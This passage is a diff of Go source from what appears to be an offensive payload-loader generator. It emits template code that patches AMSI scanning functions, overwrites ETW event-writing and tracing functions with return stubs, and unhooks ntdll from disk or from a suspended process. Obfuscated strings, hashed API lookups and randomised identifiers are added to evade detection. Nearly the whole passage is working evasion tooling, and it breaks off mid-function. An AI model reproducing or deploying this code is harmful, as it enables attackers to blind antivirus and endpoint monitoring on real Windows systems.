+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `)
+ {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
+ {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.AmsiOpenSession}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiOpenSession", str_obfs) + `)
+ `
+ }
+
+ amsi_patch_func = amsi_patch_func + `
+ {{.Vars.patch}} := []byte{0x75}
+
+ var {{.Vars.oldProtect}} uint32
+ var {{.Vars.memPage}} uintptr = 0x1000
+
+ {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
+
+ {{.Vars.addr}} := {{.Vars.AmsiOpenSession}}.Addr()
+ {{.Vars.addr2}} := {{.Vars.AmsiOpenSession}}.Addr()
+
+ for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ {
+ if *(*byte)(unsafe.Pointer({{.Vars.addr}} + uintptr({{.Vars.i}}))) == 0x74 {
+ {{.Vars.addr}} = {{.Vars.addr}} + uintptr(1)
+ break
+ }
+ }
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ {
+ if *(*byte)(unsafe.Pointer({{.Vars.addr2}} + uintptr({{.Vars.i}}))) == 0x74 {
+ {{.Vars.addr2}} = {{.Vars.addr2}} + uintptr(1)
+ break
+ }
+ }
+
+ var {{.Vars.regionsize}} uintptr
+ {{.Vars.NtWriteVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), {{.Vars.addr2}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})))
+
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr2}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ return nil
+ }
+`
+ } else {
+ if (hashing) {
+ amsi_patch_func = amsi_patch_func + `
+ {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.AmsiScanBuffer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiScanBuffer", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ amsi_patch_func = amsi_patch_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `)
+ {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.AmsiScanBuffer}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiScanBuffer", str_obfs) + `)
+`
+ }
+
+ amsi_patch_func = amsi_patch_func + `
+ var {{.Vars.amsi_patch}} = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
+ {{.Vars.baseAddress}} := {{.Vars.AmsiScanBuffer}}.Addr()
+ {{.Vars.numberOfBytesToProtect}} := uintptr(len({{.Vars.amsi_patch}}))
+ var {{.Vars.oldProtect}} uintptr
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.AmsiScanBuffer}}.Addr(), uintptr(unsafe.Pointer(&{{.Vars.amsi_patch}}[0])), unsafe.Sizeof({{.Vars.amsi_patch}}), 0)
+
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ return nil
+}
+`
+ }
+
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(amsi_patch_func, Main))
+ }
+
+ // add ETW patch function to loader
+ if (!noetw) {
+
+ if (verbose) {
+ fmt.Println(" > Adding ETW patch...")
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ // define variables
+ Main.Vars["etw_patch_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["etw_func_to_patch"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwEventWrite"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwEventWriteEx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwEventWriteFull"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwEventWriteString"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwEventWriteTransfer"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addresses"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
+
+
+ imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe"}) // needed imports
+
+ // define code using templates
+ etw_patch_func := `
+func {{.Vars.etw_patch_func}}() error {`
+
+ if (utils.RandomInt(1, 2) == 1) {
+
+ var etw_func_to_patch string
+ // use one of the main NT functions used by ETW to patch it
+ if (utils.RandomInt(1,2) == 1) {
+ etw_func_to_patch = "NtTraceEvent"
+ } else {
+ etw_func_to_patch = "NtTraceControl"
+ }
+
+ if (hashing) {
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.etw_func_to_patch}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(etw_func_to_patch, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
+ {{.Vars.etw_func_to_patch}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(etw_func_to_patch, str_obfs) + `)
+ {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+`
+ }
+
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
+
+ var {{.Vars.patch}} = []byte{0xc3}
+ var {{.Vars.oldProtect}} uintptr
+ var {{.Vars.addr}} uintptr = {{.Vars.etw_func_to_patch}}.Addr()
+ {{.Vars.regionsize}} := uintptr(len({{.Vars.patch}}))
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.NtWriteVirtualMemory}}.Call({{.Vars.pHandle}}, {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), 0)
+
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ return nil
+}
+`
+ } else {
+
+ if (hashing) {
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwEventWrite}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWrite", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwEventWriteEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwEventWriteFull}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteFull", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwEventWriteString}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteString", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwEventWriteTransfer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteTransfer", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.WriteProcessMemory}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
+
+ {{.Vars.EtwEventWrite}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWrite", str_obfs) + `)
+ {{.Vars.EtwEventWriteEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteEx", str_obfs) + `)
+ {{.Vars.EtwEventWriteFull}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteFull", str_obfs) + `)
+ {{.Vars.EtwEventWriteString}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteString", str_obfs) + `)
+ {{.Vars.EtwEventWriteTransfer}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteTransfer", str_obfs) + `)
+`
+ }
+
+ etw_patch_func = etw_patch_func + `
+ {{.Vars.addresses}} := []uintptr{ {{.Vars.EtwEventWriteFull}}.Addr(), {{.Vars.EtwEventWrite}}.Addr(), {{.Vars.EtwEventWriteEx}}.Addr(), {{.Vars.EtwEventWriteString}}.Addr(), {{.Vars.EtwEventWriteTransfer}}.Addr() }
+
+ for {{.Vars.i}} := range {{.Vars.addresses}} {
+ {{.Vars.data}}, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'}))
+
+ {{.Vars.WriteProcessMemory}}.Call(uintptr(0xffffffffffffffff), uintptr({{.Vars.addresses}}[{{.Vars.i}}]), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr(len({{.Vars.data}})), 0)
+ }
+
+ return nil
+}
+`
+
+ imports = utils.AppendString(imports, "encoding/hex")
+ }
+
+ // append previous function
+ functions = utils.AppendString(functions, ParseTemplate(etw_patch_func, Main))
+ }
+
+ if (unhook != "") {
+ if (verbose) {
+ fmt.Println(" > Adding unhooking function...")
+ }
+
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ var unhook_func string
+
+ if (unhook == "full") {
+
+ imports = utils.AppendSlice(imports, []string{"io/ioutil", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["f"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_bytes"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["loc"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["mem"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+
+ unhook_func = `
+func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error {
+`
+
+ if (hashing) {
+ unhook_func = unhook_func + `
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ unhook_func = unhook_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+`
+ }
+
+ unhook_func = unhook_func + `
+ for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} {
+ if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) {
+ {{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}}
+ }
+
+ {{.Vars.f}}, {{.Vars.err}} := ioutil.ReadFile({{.Vars.dll_to_unhook}})
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}})
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `)
+ {{.Vars.size}} := {{.Vars.x}}.Size
+ {{.Vars.dll_bytes}} := {{.Vars.f}}[{{.Vars.x}}.Offset:{{.Vars.x}}.Size]
+
+ {{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}})
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.dll_handle}} := {{.Vars.dll}}.Handle
+ {{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}})
+ {{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress)
+
+ {{.Vars.regionsize}} := uintptr({{.Vars.size}})
+ var {{.Vars.oldProtect}} uintptr
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.dll_bytes}}); {{.Vars.i}}++ {
+ {{.Vars.loc}} := uintptr({{.Vars.dll_offset}} + uint({{.Vars.i}}))
+ {{.Vars.mem}} := (*[1]byte)(unsafe.Pointer({{.Vars.loc}}))
+ (*{{.Vars.mem}})[0] = {{.Vars.dll_bytes}}[{{.Vars.i}}]
+ }
+
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), {{.Vars.oldProtect}}, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+ }
+
+ return nil
+}
+`
+
+ } else if (unhook == "peruns") {
+
+ imports = utils.AppendSlice(imports, []string{"time", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetConsoleWindow"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ShowWindow"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["TerminateProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["hwnd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["SW_HIDE"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["nbr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll_bytes"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll_offset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["nLength"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+
+ unhook_func = `
+func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error {
+`
+
+ if (hashing) {
+ unhook_func = unhook_func + `
+ {{.Vars.ShowWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ShowWindow", rand_num)) + `, ` + ObfuscateStr("user32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.GetConsoleWindow}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetConsoleWindow", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.TerminateProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("TerminateProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ unhook_func = unhook_func + `
+ {{.Vars.ShowWindow}} := windows.NewLazyDLL(` + ObfuscateStr("user32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("ShowWindow", str_obfs) + `)
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.GetConsoleWindow}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetConsoleWindow", str_obfs) + `)
+ {{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `)
+ {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `)
+ {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
+ {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
+ {{.Vars.TerminateProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("TerminateProcess", str_obfs) + `)
+`
+ }
+
+ unhook_func = unhook_func + `
+ {{.Vars.hwnd}}, _, {{.Vars.err}} := {{.Vars.GetConsoleWindow}}.Call()
+ if {{.Vars.hwnd}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ var {{.Vars.SW_HIDE}} uintptr = 0
+ {{.Vars.ShowWindow}}.Call({{.Vars.hwnd}}, {{.Vars.SW_HIDE}})
+
+ {{.Vars.si}} := &windows.StartupInfo{}
+ {{.Vars.pi}} := &windows.ProcessInformation{}
+
+ {{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `)
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}})))
+
+ {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call()
+
+ time.Sleep(5 * time.Second)
+
+ for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} {
+ if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) {
+ {{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}}
+ }
+
+ {{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}})
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `)
+ {{.Vars.size}} := {{.Vars.x}}.Size
+
+ {{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}})
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.dll_handle}} := {{.Vars.dll}}.Handle
+ {{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}})
+ {{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress)
+
+ var {{.Vars.data}} = make([]byte, {{.Vars.size}})
